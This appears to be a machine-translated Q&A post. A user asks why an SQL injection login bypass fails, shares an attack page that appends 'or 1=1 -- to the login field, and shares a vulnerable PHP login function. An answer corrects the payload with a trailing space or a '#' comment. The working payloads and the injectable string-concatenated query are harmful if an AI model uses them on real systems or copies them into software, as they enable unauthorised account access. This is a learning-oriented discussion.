简单SQL注入无法对用户进行身份验证



背景

我制作了一个html页面evil.html,当用户点击它时,他们应该能够输入用户名并点击提交按钮,从而将他们登录到我创建的网站。

我认为注入'or 1=1 --意味着,如果我提交用户名为test的用户,那么SQL查询将在中产生

从用户中选择*userid='test'或1=1--AND password='$hash'

这应该意味着我的用户test已通过身份验证。然而,在注入中的间距为+的地方,它抛出了500。

我在请求中的登录参数如下:

login:"test'or+1=1+--"

有人知道为什么这个漏洞不起作用吗?

邪恶.html

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<script>
function attack() {
document.querySelector('#login').value += "'or 1=1 --";
}
</script>
</head>
<body>
<form action="http://example.com/" onsubmit="attack();" method="POST">
<input name="login" id="login" value="">
<button>Submit</button>
</form>
</body>
</html>

login.php

function login($username, $password) {
$sql = "SELECT * FROM users WHERE userid='$username'";
$result = $this->db->query($sql);
$user = $result->next();
if (!$user) {
return false;
}
$salt = $user['salt'];
$hash = md5($salt.$password);
$sql = "SELECT * FROM users WHERE userid='$username' AND password='$hash'";
$userdata = $this->db->query($sql)->next();
if ($userdata) {
// user is logged in
// doStuff()
}
}

尝试在双连字符后添加一个空格。

因此,从

.value += "'or 1=1 --";.value += "'or 1=1 -- ";

加号是一个URL加密的空间形式。所以在这一点上它是完全好的(参见URL编码的空格字符:+或%20?)。

在微软、Oracle、PostgreSQL和MySQL等广泛使用的关系数据库管理系统中,可以用--来介绍一条注释。MySQL在这里有点挑剔。它希望在--后面有一个空格,否则它不会识别它。

因此,一个有效的漏洞应该是:

"test'or+1=1+--+"

您也可以尝试另一种mySQL表示法,如"#comment">

"test'or+1=1+#"

参见。部分";评论"在里面https://portswigger.net/web-security/sql-injection/cheat-sheet.

相关内容

最新更新